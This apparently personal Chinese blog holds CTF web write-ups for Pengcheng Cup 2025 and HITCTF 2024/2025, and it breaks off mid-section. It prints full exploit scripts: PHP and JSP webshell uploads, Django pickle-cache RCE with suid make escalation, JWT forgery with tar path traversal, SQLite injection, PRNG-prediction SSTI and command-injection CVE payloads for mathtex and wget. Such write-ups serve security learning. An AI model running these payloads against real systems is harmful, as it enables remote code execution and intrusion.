Java on Freedom

鹏城杯2025web复现

Tue, 16 Dec 2025 14:46:59 +0800

共用一个靶机真是抽象，没怎么打简单看一下题目吧

X_xSe

找了半天的flag，结果你说你在数据库里面？

xxe黑盒不知道过滤了啥，反正当时xxe外带成功了，后面就没做出来。

9000端口还有一个数据库的web服务（可以用gopher协议探测端口），简单绕过过滤sqlite盲注即可。

具体可以看https://baozongwi.xyz/p/pcb-2025/#pcb5-x_xse

ez_php

又是黑盒

cookie是用的反序列化的格式，伪造一下admin即可，过滤了admin需要双写一下。

<?php
// 修正后的生成脚本
namespace Session;

class User {
    // 必须是 private 才能生成 \0ClassName\0PropertyName
    private $username = "aadmindmin";
}

$user = new User();
$serialized = serialize($user);

// 确认序列化结果
var_dump($serialized);

// 输出 Base64 编码后的 Payload
echo base64_encode($serialized);
?>

进后台后有个任意读取，后面也是没翻到flag，看了wp发现是在flag.php里面，php被过滤了，用类似于羊城杯那道的绕过方式

`1`	`/dashboard.php?filename=flag.php/`

Uplssse

黑盒…

cookie还是用的反序列化，签一个is_admin:1进去了

进去是一个文件上传，上传后有时间检测，一下子想到条件竞争，当时没打进去。因为用的同一个靶机，感觉好多队伍是碰巧用上别人的webshell了。没有环境也没法复现，不过找到这篇wp，我觉得思路是对的。

f12中的提示

1
2

<meta name="dev-settings" content="autoload_extension=.inc">
<meta name="dev-settings" content="tmp_directory=./tmp/">

当PHP反序列化一个未定义的类时，会触发spl_autoload机制去加载类文件，根据提示，autoload会去 ./tmp/类名.inc 查找类定义，想到我们刚才越权位置正好有一个反序列化，可以上传一个.inc文件到tmp目录，并通过cookie去触发autoload，包含Evil.inc时执行其中的PHP代码，直接放上wp上的exp。

import requests
import threading
import base64

TARGET = "http://ip"
ADMIN_COOKIE = {"user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImxzcmFpbiI7czo4OiJwYXNzd29yZCI7czo2OiIxMjM0NTYiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="}
EVIL_COOKIE = {"user_auth": base64.b64encode(b'O:4:"Evil":0:{}').decode()}

# 恶意.inc内容 - 写入持久化shell
PAYLOAD = b'''<?php
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');
echo "SHELL_WRITTEN";
class Evil {}
?>'''

success = False

def upload():
    """用Admin Cookie上传Evil.inc"""
    global success
    whilenot success:
        try:
            requests.post(f"{TARGET}/upload.php",
                files={'file': ('Evil.inc', PAYLOAD, 'application/octet-stream')},
                data={'upload': 'upload'},
                cookies=ADMIN_COOKIE, timeout=1)
        except: pass

def trigger():
    """用Evil Cookie触发autoload"""
    global success
    whilenot success:
        try:
            r = requests.get(f"{TARGET}/upload.php", cookies=EVIL_COOKIE, timeout=1)
            if'SHELL_WRITTEN'in r.text:
                success = True
                print("[+] Shell written successfully!")
        except: pass

# 启动多线程
for _ in range(5):
    threading.Thread(target=upload, daemon=True).start()
for _ in range(10):
    threading.Thread(target=trigger, daemon=True).start()

import time
time.sleep(30)

ezDjango

终于给源代码了，原型是香山杯2023决赛ezcache，几乎没改什么东西

0x01 代码审计

看一下整体结构

/app目录主要负责应用的配置，/cacheapp目录主要负责应用的业务

从/cacheapp路由入手：

/generate

@csrf_exempt
def generate_page(request):
    if request.method == "POST":
        intro = str(request.POST.get('intro', ''))
        user = request.user if request.user.is_authenticated else 'Guest'
        blacklist = ['admin', 'config.']
        for word in blacklist:
            if word in intro:
                return HttpResponse("can't be as admin")
        outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
        f = request.FILES.get("file", None)
        filename = request.POST.get('filename', '') if request.POST.get('filename') else (f.name if f else '')
        
        if not f:
            return HttpResponse("❌ 没有上传文件")
        
        if not filename:
            filename = f.name
        if '.py' in filename:
            return HttpResponse("❌ 不允许上传.py文件")
        try:
            static_dir = os.path.join(settings.BASE_DIR, 'static', 'uploads')
            os.makedirs(static_dir, exist_ok=True)
            filepath = os.path.join(static_dir, filename)
            write_file_chunks(f, filepath)
            
            return HttpResponse(outer_html + f"</p><p>✅ 文件已上传: /static/uploads/{filename}</p>")
            
        except Exception as e:
            return HttpResponse(f"❌ 文件上传失败: {str(e)}")
    
    return render(request, 'generate.html')

intro参数这里存在格式化字符串漏洞，那就可以读取任意 user 对象里的内容（不能执行方法）

`1`	`{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}`

也可以读取其他的信息，不过因为都给了源码，本地和源码中settings.py应该大差不差。filename这里文件上传，可以路径穿越覆盖任意文件（只过滤了py)，暂时没看出能干什么。

/upload

@csrf_exempt
def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        if not f:
            return json_error('No file uploaded')
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        try:
            temp_dir = '/tmp'
            filepath = os.path.join(temp_dir, filename)
            write_file_chunks(f, filepath)
            return json_success('File uploaded', filepath=filepath)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'upload.html')

还是可以路径穿越，不过只允许.cache结尾的文件。

/copy

@csrf_exempt
def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        if not src or not dst:
            return json_error('Source and destination required')
        try:
            if not os.path.exists(src):
                return json_error('Source file not found')
            os.makedirs(os.path.dirname(dst), exist_ok=True)
            content = read_file_bytes(src)
            with open(dst, 'wb') as dest_file:
                dest_file.write(content)
            return json_success('File copied', src=src, dst=dst)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'copy.html')

src和dst都没有过滤，又是可以任意目录移动文件。

/cache/viewer

@csrf_exempt
def cache_viewer(request):
    if request.method == "POST":
        cache_key = request.POST.get('key', '')
        if not cache_key:
            return json_error('Cache key required')
        try:
            path = os.path.join(cache_dir(), cache_filename(cache_key))
            if os.path.exists(path):
                content = read_file_bytes(path)
                return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
            return json_error(f'Cache file not found: {path}')
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'cache_viewer.html')
# utils.py
def cache_filename(key: str) -> str:
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"
def read_file_bytes(path: str) -> bytes:
    with open(path, "rb") as f:
        return f.read()

传入key可以任意读取.djcache文件（前提是计算出文件名）

/cache/trigger

@csrf_exempt
def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        try:
            val = cache.get(key, None)
            if isinstance(val, (bytes, bytearray)):
                return json_success('Triggered', value_b64=base64.b64encode(val).decode())
            return json_success('Triggered', value=str(val))
        except Exception as e:
            return json_error(str(e))
    return json_error('POST required')

跟进一下这个cache

Django 会从 settings.CACHES 读取缓存配置，找一下settings.py里怎么写的

配置把默认缓存后端设成了 Django 的文件缓存 FileBasedCache，继续跟进FileBasedCache

get方法这里存在严重的pickle反序列化漏洞，可以进行RCE。这里不是直接传入pickle，而是将恶意pickle构造成合法的.djcache

一个合法的 .djcache 文件结构是：

`1`	`[pickle(expiry)] + [zlib(pickle(value))]`

我们构造的时候要保证它没有过期

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

0x02 预期

可以说是漏洞百出，整理一下上面的思路

1.通过/generate路由格式化字符串漏洞泄露出缓存路径和缓存key

2.制作恶意反序列化文件保存为.cache文件

3.通过/upload路由上传.cache文件

4.通过缓存key计算出文件名

5.通过/copy路由将.cache文件复制到对应的缓存路径（文件名使用计算好的，后缀使用.djcache）

6.通过/cache/trigger传入缓存key触发picke反序列化

7.远程环境还有一个suid make提权

贴一下baozongwi师傅的脚本

import os
import hashlib
import pickle
import zlib
import time
import re
import base64
import subprocess
import httpx

BASE_URL = 'http://ip'

class SUIDMakeExec:
    def __reduce__(self):
        cmd = ['ls']
        # cmd = ['/usr/bin/make', 'SHELL=/bin/bash', '.SHELLFLAGS=-p -c', '-s', '--eval', 'x:\n\tcat /flag', 'x']
        return (subprocess.check_output, (cmd,))

def construct_payload():
    header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
    body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
    return header + body

def get_server_config(client):
    def fetch(payload, fallback, name):
        try:
            resp = client.post(
                "/generate/",
                data={'intro': payload},
                files={'file': (name, b'1', 'application/octet-stream')}
            )
            match = re.search(r'<h3>(.*?)</h3>', resp.text)
            return match.group(1).strip() if match else fallback
        except Exception:
            return fallback

    cache_dir = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES[default][LOCATION]}',
        '/tmp/django_cache',
        'loc.txt',
    )
    cache_key = fetch(
        '{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}',
        'pwn',
        'key.txt',
    )
    return cache_dir, cache_key

def run_exploit():
    target_url = os.environ.get('BASE_URL', BASE_URL).rstrip('/')

    with httpx.Client(base_url=target_url, timeout=5.0) as client:
        print(f"[*] Target: {target_url}")

        cache_dir, cache_key = get_server_config(client)
        print(f"[+] Cache Dir: {cache_dir}")
        print(f"[+] Cache Key: {cache_key}")

        cache_filename = hashlib.md5(f":1:{cache_key}".encode()).hexdigest() + '.djcache'
        destination_path = f"{cache_dir.rstrip('/')}/{cache_filename}"

        payload_data = construct_payload()
        try:
            print("[*] Uploading payload...")
            upload_resp = client.post(
                "/upload/",
                data={'filename': 'exploit.cache'},
                files={'file': ('exploit.cache', payload_data, 'application/octet-stream')}
            )
            uploaded_path = upload_resp.json().get('filepath')
            
            if not uploaded_path:
                print("[-] Upload failed, no filepath returned.")
                return
            print(f"[+] Uploaded to temporary path: {uploaded_path}")

            print(f"[*] Copying to {destination_path}...")
            client.post("/copy/", data={'src': uploaded_path, 'dst': destination_path})

            print("[*] Triggering deserialization...")
            trigger_resp = client.post("/cache/trigger/", data={'key': cache_key})
            
            result = trigger_resp.json()
            b64_output = result.get('value_b64')
            
            if b64_output:
                flag = base64.b64decode(b64_output).decode(errors='ignore').strip()
                print(f"\n[SUCCESS] Flag: {flag}\n")
            else:
                print("[-] No output in trigger response.")
                
        except httpx.RequestError as e:
            print(f"[-] Network error: {e}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == '__main__':
    run_exploit()

0x03 非预期

与其说是题目的非预期，不如说是题目共用一个靶机的环境造成的非预期

从预期的思路里面看到，我们有一个.djcache文件任意读/cache/viewer路由没有使用。结合还有/copy路由，我们可以直接把flag移动到缓存目录并重命名，接着.djcache文件任意读即可。但题目本来的设计flag应该是400权限，我猜因为有些队伍打通了就顺便把权限改了造成了非预期，难评…

import requests
import hashlib
BASE_URL = "http://ip"

# 这个key随便伪造
key = "pwn"
cache_filename = hashlib.md5(key.encode()).hexdigest() + '.djcache'
print(f"Cache filename: {cache_filename}")
data = {
    'src': '/flag',
    'dst': f'/tmp/django_cache/{cache_filename}'
}
resp = requests.post(f"{BASE_URL}/copy/", data=data)
print(f"Result: {resp.json()}")

data = {
    'key': key
}
resp = requests.post(f"{BASE_URL}/cache/viewer/", data=data)
result = resp.json()
if result.get('status') == 'success':
    raw_hex = result.get('raw_content', '')
    flag_content = bytes.fromhex(raw_hex).decode('utf-8')
    print("FLAG:")
    print(flag_content)

ezJava

0x01 路径穿越

给了一个提示

1
2

RewriteCond %{QUERY_STRING} (^|&)path=([^&]+) 
RewriteRule ^/download$ /%2 [B,L]

怎么似曾相识，原来是在n1ctf2025上出现过啊，利用的是CVE-2025-55752。

`1`	`/download?path=/uploads/..%2fWEB-INF%2fweb.xml`

先读取到了web.xml

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <display-name>JWT Login WebApp</display-name>
    <servlet>
        <servlet-name>LoginServlet</servlet-name>
        <servlet-class>com.ctf.LoginServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>RegisterServlet</servlet-name>
        <servlet-class>com.ctf.RegisterServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DashboardServlet</servlet-name>
        <servlet-class>com.ctf.DashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
        <multipart-config>
            <max-file-size>10485760</max-file-size>
            <max-request-size>20971520</max-request-size>
            <file-size-threshold>0</file-size-threshold>
        </multipart-config>
    </servlet>
    <servlet>
        <servlet-name>BackUpServlet</servlet-name>
        <servlet-class>com.ctf.BackUpServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginServlet</servlet-name>
        <url-pattern>/login</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>RegisterServlet</servlet-name>
        <url-pattern>/register</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DashboardServlet</servlet-name>
        <url-pattern>/dashboard/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>AdminDashboardServlet</servlet-name>
        <url-pattern>/admin/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>BackUpServlet</servlet-name>
        <url-pattern>/backup/*</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
</web-app>

可以看到主要的类有五个，分别读取一下

1
2

/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class
...

下载之后用idea或者jadx反编译

0x02 代码审计

jwt越权

admin这里发现一个jwtUtil（也在com.ctf包里面），读取一下class文件并反编译

public class JwtUtil {
    private static final Key key = new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());
    private static final long EXPIRATION = 1800000;

    public static String generateToken(String username) {
        return Jwts.builder().setSubject(username).setExpiration(new Date(System.currentTimeMillis() + EXPIRATION)).signWith(key).compact();
    }

    public static String validateToken(String token) {
        try {
            Jws<Claims> claims = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token);
            return ((Claims) claims.getBody()).getSubject();
        } catch (JwtException e) {
            return null;
        }
    }
}

找到jwt-key以及加密方法，签一个admin即可越权

import jwt
import time

secret = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"

payload = {
    "sub": "admin",                 # 管理员用户名
    "exp": int(time.time()) + 1800  # 30 分钟
}

token = jwt.encode(payload, secret, algorithm="HS256")

print("jwt=" + token)

admin路由

有四个路由主要看一下upload路由

private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"), new String[0]);
        if (!fileDir.toFile().exists()) {
            fileDir.toFile().mkdirs();
        }
        resp.setContentType("application/json; charset=UTF-8");
        try {
            Part filePart = req.getPart("file");
            if (filePart == null) {
                resp.getWriter().write("{\"error\":\"no file uploaded\"}");
                return;
            }
            Path targetPath = Paths.get(getServletContext().getRealPath("tmp/out.tar"), new String[0]);
            InputStream in = filePart.getInputStream();
            try {
                OutputStream out = Files.newOutputStream(targetPath, new OpenOption[0]);
                try {
                    byte[] buf = new byte[8192];
                    while (true) {
                        int len = in.read(buf);
                        if (len == -1) {
                            break;
                        } else if (!new String(buf, 0, len, StandardCharsets.UTF_8).contains("ﾎ") && !new String(buf, 0, len, StandardCharsets.UTF_8).contains("ﾝ")) {
                            out.write(buf, 0, len);
                        }
                    }
                    if (out != null) {
                        out.close();
                    }
                    if (in != null) {
                        in.close();
                    }
                    TInputStream tis = new TInputStream(new BufferedInputStream(Files.newInputStream(targetPath, new OpenOption[0])));
                    TarEntry entry = tis.getNextEntry();
                    if (entry != null) {
                        byte[] data = new byte[2048];
                        FileOutputStream fos = new FileOutputStream(getServletContext().getRealPath("uploads") + entry.getName());
                        BufferedOutputStream dest = new BufferedOutputStream(fos);
                        while (true) {
                            int count = tis.read(data);
                            if (count == -1) {
                                break;
                            } else {
                                dest.write(data, 0, count);
                            }
                        }
                        System.out.println(new String(data));
                        dest.flush();
                        dest.close();
                    }
                    tis.close();
                    File f = targetPath.toFile();
                    if (f.exists() && f.isFile()) {
                        boolean ok = f.delete();
                        if (!ok) {
                            resp.getWriter().write("{\"status\":\"delete failed\"}");
                            return;
                        }
                    }
                    resp.getWriter().write("{\"status\":\"ok\"}");
                } catch (Throwable th) {
                    if (out != null) {
                        try {
                            out.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } finally {
            }
        } catch (Exception e) {
            resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
        }
    }

上传tar文件，并自动解压，但没有校验tar包内的文件名，存在路径穿越覆盖任意文件漏洞。我们可以上传一个jsp，但是这里的web.xml是不支持jsp的，需要先覆盖web.xml。

<servlet>
      <servlet-name>jsp</servlet-name>
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
      <init-param>
          <param-name>fork</param-name>
          <param-value>false</param-value>
      </init-param>
      <init-param>
          <param-name>xpoweredBy</param-name>
          <param-value>false</param-value>
      </init-param>
      <load-on-startup>3</load-on-startup>
  </servlet>
  
  <servlet-mapping>
      <servlet-name>jsp</servlet-name>
      <url-pattern>*.jsp</url-pattern>
      <url-pattern>*.jspx</url-pattern>
  </servlet-mapping>

0x03 exploit

总结思路：

1.jwt越权进入admin

2.调用admin/upload覆盖web.xml

3.调用admin/upload上传jsp文件到根目录，rce

贴上baozongwi师傅的exp：

import httpx
import jwt
import datetime
import tarfile
import io
import time
import sys

TARGET_URL = "http://ip"
UPLOAD_URL = f"{TARGET_URL}/admin/upload"
SECRET_KEY = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
SHELL_FILENAME = "/../shell.jsp"
SHELL_CONTENT = b'''<%if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b, 0, a)); } out.print("</pre>"); }%>'''

def get_admin_token():
    payload = {
        "sub": "admin",
        "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(minutes=60)
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def create_tar_bytes(filename, content_bytes):
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
        info = tarfile.TarInfo(name=filename)
        info.size = len(content_bytes)
        tar.addfile(info, io.BytesIO(content_bytes))
    return tar_buffer.getvalue()

def upload_tar(client, token, tar_name, tar_data):
    cookies = {"jwt": token}
    files = {"file": (tar_name, tar_data, "application/x-tar")}
    return client.post(UPLOAD_URL, cookies=cookies, files=files, timeout=10.0)

def upload_web_xml(client, token, xml_path):
    try:
        with open(xml_path, "rb") as f:
            xml_data = f.read()
    except FileNotFoundError:
        print("Error: web.xml not found")
        sys.exit(1)

    tar_data = create_tar_bytes("/../WEB-INF/web.xml", xml_data)
    print(f"Payload size: {len(xml_data)} bytes")
    print("Uploading new web.xml...")
    r = upload_tar(client, token, "config.tar", tar_data)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")

def deploy_shell(client, token):
    tar_data = create_tar_bytes(SHELL_FILENAME, SHELL_CONTENT)
    upload_tar(client, token, "pwn.tar", tar_data)

def run_shell(client, cmd):
    final_shell_url = f"{TARGET_URL}/shell.jsp"
    params = {"pwd": "023", "i": cmd}
    r = client.get(final_shell_url, params=params, timeout=10.0)
    if r.status_code == 200:
        output = r.text.replace("<pre>", "").replace("</pre>", "").strip()
        print(output)

if __name__ == "__main__":
    token = get_admin_token()
    with httpx.Client() as client:
        try:
            upload_web_xml(client, token, "web.xml")
        except Exception as e:
            print(f"Upload failed: {e}")
            sys.exit(1)

        print("Waiting 10 seconds for reload...")
        time.sleep(10)
        print("Deploying shell...")
        try:
            deploy_shell(client, token)
        except Exception:
            pass

        time.sleep(1)
        try:
            run_shell(client, "env")
        except Exception:
            pass

当然这应该不是这个题目的预期（正好碰上热部署了），算了，~~反正这题也是出的一团糟…~~

参考文章

2025鹏城杯 Writeup by Mini-Venom

PCB2025 by baozongwi

Hitctf 2024&2025 web wp

Tue, 09 Dec 2025 19:46:01 +0800

2024

mathex

cve-2023-51887

Fuzzing mathtex - Yulun/blog

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(~~也是老古董了还在用cgi~~)

`1`	`/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}`

wget

又是一个cve:cve-2024-10524

先看看源码

from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差，如果尝试wget aaa:bbb@ccc，wget会自动将其解释为ftp://aaa/bbb@ccc（其中bbb@ccc会被识别为一个目录名），那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp，而是使用了python的一个库来模拟ftp。

`1`	`pip install pyftpdlib`

因为bbb@ccc会被识别为目录，所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录，在服务器上我们还需要开启对应的端口（我这里用的默认21）和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

`1`	`python -m pyftpdlib -p 21 -D`

发送payload

1
2

POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点，我们使用数字ip

静静等待连接即可

参考文章：

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

`1`	`conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")`

不过它使用的是INSERT ，没法直接用联合查询，拷打的gemini告诉我可以使用报错注入来泄露secret

`1`	`' \|\| json_extract('{"a":1}', (SELECT secret FROM secret)) \|\| '`

`1`	`' \|\| fts3_tokenizer((SELECT secret FROM secret)) \|\| ' -- 也可以`

0x02 伪随机预测

/backdoor很明显的无过滤ssti，前提是secret验证通过。本题最大的难点来了

@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret，刚开始想打条件竞争来着，但未成功，于是想到了伪随机，收集足够的随机数样本来预测secret。

`1`	`pip install randcrack`

综上本题的总体思路为：利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测，我这里没用

exp如下：

import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目，结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑，token通过验证后就会给flag

// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

